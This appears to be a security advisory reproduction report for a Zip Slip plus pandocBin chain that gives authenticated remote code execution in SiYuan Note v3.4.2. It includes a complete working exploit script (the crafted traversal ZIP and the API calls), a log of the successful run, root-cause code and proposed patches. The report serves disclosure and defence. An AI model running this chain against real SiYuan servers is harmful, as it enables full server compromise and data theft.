SiYuan Note versions through v3.4.2 contain a chained vulnerability allowing authenticated remote code execution. The /api/archive/unzip endpoint is vulnerable to Zip Slip (path traversal), enabling attackers to write arbitrary files outside the intended workspace. Combined with the /api/setting/setExport endpoint which executes user-supplied pandocBin paths for validation, an attacker can overwrite system executables and trigger their execution. This report is self-contained and documents the full reproduction procedure, evidence, and remediation guidance.
- Identifier: GHSA-4r66-7rcv-x46x
- CWE: CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- CWE: CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Affected Component:
github.com/siyuan-note/siyuan/kernel - Affected Versions: SiYuan
<= v3.4.2(commit6ef83b42c7ce) - Patched Version: Not yet released per GHSA
- CVSS Score: 8.8 (HIGH) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Impact: Authenticated remote code execution allowing full server compromise.
- Host: Lima-managed VM
pruva-ghsa-4r66-7rcv-x46x - OS: Ubuntu (Linux arm64 container)
- Go: 1.25.4 toolchain
- SiYuan: Commit
6ef83b42c7ce(v3.4.2) - Session: 2025-12-09
┌─────────────────────────────────────────────────────────────────────────┐
│ Attack Chain │
├─────────────────────────────────────────────────────────────────────────┤
│ 1. Authenticate to SiYuan kernel (/api/system/loginAuth) │
│ │ │
│ ▼ │
│ 2. Upload malicious ZIP via /api/file/putFile │
│ ZIP contains: "../../../opt/siyuan/startup.sh" │
│ │ │
│ ▼ │
│ 3. Trigger Zip Slip via /api/archive/unzip │
│ Payload escapes workspace, overwrites /opt/siyuan/startup.sh │
│ │ │
│ ▼ │
│ 4. Set pandocBin to overwritten script via /api/setting/setExport │
│ IsValidPandocBin() executes the script with --version │
│ │ │
│ ▼ │
│ 5. RCE achieved - attacker script runs as SiYuan service user │
└─────────────────────────────────────────────────────────────────────────┘
The following script was generated and successfully executed to demonstrate the vulnerability:
#!/bin/bash
set -euo pipefail
ROOT="/home/g.linux/pruva-workspace"
WORKSPACE="$ROOT/workspaces/vuln"
TARGET_SCRIPT="$ROOT/opt/siyuan/startup.sh"
PWNED_FILE="$WORKSPACE/data/pwned.txt"
PORT="7090"
AUTH_CODE="repro123"
# 1. Start vulnerable SiYuan kernel
./siyuan-kernel \
--workspace "$WORKSPACE" \
--accessAuthCode "$AUTH_CODE" \
--port "$PORT" \
--mode dev &
# 2. Authenticate
curl -c cookie.txt -X POST "http://127.0.0.1:${PORT}/api/system/loginAuth" \
-H 'Content-Type: application/json' \
-d '{"authCode":"repro123"}'
# 3. Create malicious payload script
cat > startup.sh << 'EOF'
#!/bin/sh
echo "you have been pwned" > /home/g.linux/pruva-workspace/workspaces/vuln/data/pwned.txt
echo "pandoc 3.1.0" # Satisfy version check
EOF
chmod +x startup.sh
# 4. Create Zip Slip archive with path traversal
python3 << 'PY'
import zipfile, pathlib
arcname = "../../../opt/siyuan/startup.sh"
info = zipfile.ZipInfo(arcname)
info.external_attr = 0o100755 << 16 # Preserve executable bit
with zipfile.ZipFile("exploit.zip", 'w') as zf:
zf.writestr(info, pathlib.Path("startup.sh").read_bytes())
PY
# 5. Upload exploit archive
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/file/putFile" \
-F "path=/data/exploit.zip" \
-F "file=@exploit.zip"
# 6. Trigger Zip Slip - file escapes to /opt/siyuan/startup.sh
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/archive/unzip" \
-H 'Content-Type: application/json' \
-d '{"zipPath":"/data/exploit.zip","path":"/data/"}'
# 7. Point pandocBin at overwritten script - triggers execution
curl -b cookie.txt -X POST "http://127.0.0.1:${PORT}/api/setting/setExport" \
-H 'Content-Type: application/json' \
-d '{"pandocBin":"/home/g.linux/pruva-workspace/opt/siyuan/startup.sh"}'
# 8. Verify RCE
cat "$PWNED_FILE"[2025-12-09T21:35:00+00:00] Ensuring Go go1.25.4 toolchain is available
[2025-12-09T21:35:01+00:00] Building vulnerable kernel binary
[2025-12-09T21:35:45+00:00] Starting SiYuan kernel on port 7090
[2025-12-09T21:35:47+00:00] Kernel is ready
[2025-12-09T21:35:47+00:00] Authenticating to kernel via /api/system/loginAuth
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Uploading exploit archive via /api/file/putFile
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Triggering vulnerable unzip endpoint
{"code":0,"msg":"","data":null}
[2025-12-09T21:35:48+00:00] Pointing pandocBin at the overwritten script
{"code":0,"msg":"","data":{"pandocBin":"/home/g.linux/pruva-workspace/opt/siyuan/startup.sh",...}}
[2025-12-09T21:35:49+00:00] Verifying that the malicious payload executed
[2025-12-09T21:35:49+00:00] Reproduction successful; pwned.txt saved to logs/pwned.txt
=== Contents of pwned.txt ===
you have been pwned
The key evidence:
- All API calls returned
{"code":0}indicating success pandocBinwas set to the attacker-controlled script path/home/g.linux/pruva-workspace/workspaces/vuln/data/pwned.txtwas created with "you have been pwned"- The payload script executed during
IsValidPandocBin()validation
The kernel delegates archive extraction to gulu.Zip.Unzip:
// kernel/model/archive.go
func UnzipArchive(zipPath, destPath string) error {
// destPath = "/data/" (user workspace)
// zipPath = "/data/exploit.zip"
return gulu.Zip.Unzip(zipPath, destPath)
}The underlying gulu.Zip.Unzip implementation:
// github.com/88250/gulu/zip.go
func (zip *GuluZip) Unzip(zipFile, destDir string) error {
for _, f := range r.File {
// BUG: No validation of f.Name for path traversal
fpath := filepath.Join(destDir, f.Name)
// If f.Name = "../../../etc/passwd", fpath escapes destDir
os.MkdirAll(filepath.Dir(fpath), 0755)
// File written outside intended directory
}
}The bug: No validation strips .. components or checks if the resolved path is within destDir.
// kernel/model/export.go
func SetExport(export *Export) error {
if export.PandocBin != "" {
// BUG: Executes ANY path the user supplies
if !util.IsValidPandocBin(export.PandocBin) {
return errors.New("invalid pandoc binary")
}
}
// Save setting
}
// kernel/util/pandoc.go
func IsValidPandocBin(binPath string) bool {
// DANGEROUS: Executes user-supplied path!
cmd := exec.Command(binPath, "--version")
output, err := cmd.CombinedOutput()
// If output contains "pandoc", it's "valid"
return strings.Contains(string(output), "pandoc")
}The bug: IsValidPandocBin executes arbitrary binaries without any path validation. Combined with Zip Slip, attackers can:
- Write malicious script anywhere on filesystem
- Point
pandocBinto that script - Script executes when
IsValidPandocBinruns--version
With authenticated RCE, an attacker can:
- Execute arbitrary shell commands as the SiYuan service user
- Read/modify/delete all notes and attachments in the workspace
- Exfiltrate sensitive data (notes, credentials, API keys)
- Install persistent backdoors or cryptocurrency miners
- Pivot to other services on the same host
- If SiYuan runs as root (not recommended), full system compromise
The vulnerability is particularly dangerous because:
- Only requires authentication (which may be a weak/default code)
- Attack executes during a "validation" step, not obvious user action
- No rate limiting on the affected endpoints
- The Zip Slip primitive can overwrite any file writable by the service user
-
Patch the Zip Slip vulnerability in archive extraction:
func (zip *GuluZip) Unzip(zipFile, destDir string) error { absDestDir, _ := filepath.Abs(destDir) for _, f := range r.File { // Normalize and validate path fpath := filepath.Join(destDir, f.Name) absFpath, _ := filepath.Abs(fpath) // SECURITY: Reject paths that escape destination if !strings.HasPrefix(absFpath, absDestDir) { return fmt.Errorf("zip slip detected: %s", f.Name) } // Continue extraction... } }
-
Restrict pandocBin paths to an allowlist:
var allowedPandocPaths = []string{ "/usr/bin/pandoc", "/usr/local/bin/pandoc", "/opt/siyuan/pandoc/pandoc", } func IsValidPandocBin(binPath string) bool { absPath, _ := filepath.Abs(binPath) for _, allowed := range allowedPandocPaths { if absPath == allowed { // Now safe to execute return checkPandocVersion(binPath) } } return false }
-
Run SiYuan with minimal privileges - never as root
-
Use strong authentication codes - avoid defaults like "123456"
- GitHub Security Advisory: https://github.com/siyuan-note/siyuan/security/advisories/GHSA-4r66-7rcv-x46x
- SiYuan Repository: https://github.com/siyuan-note/siyuan
- Affected commit:
6ef83b42c7ce(v3.4.2) - CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-78: https://cwe.mitre.org/data/definitions/78.html
- Vulnerable version tested: SiYuan v3.4.2 (commit
6ef83b42c7ce) - Attack prerequisites: Valid authentication code
- Exploit artifact:
pwned.txtwith "you have been pwned" - Artifacts location:
artifacts/runs/GHSA-4r66-7rcv-x46x-SIYUAN-ZIP-SLIP-PANDOC-RCE/20251209-204922/ - Reproduction logs:
logs/repro_run.log,logs/siyuan-kernel-runtime.log,logs/pwned.txt
This report is self-contained; the included scripts, attack chain description, and command transcripts provide everything required to reproduce and validate GHSA-4r66-7rcv-x46x without additional context.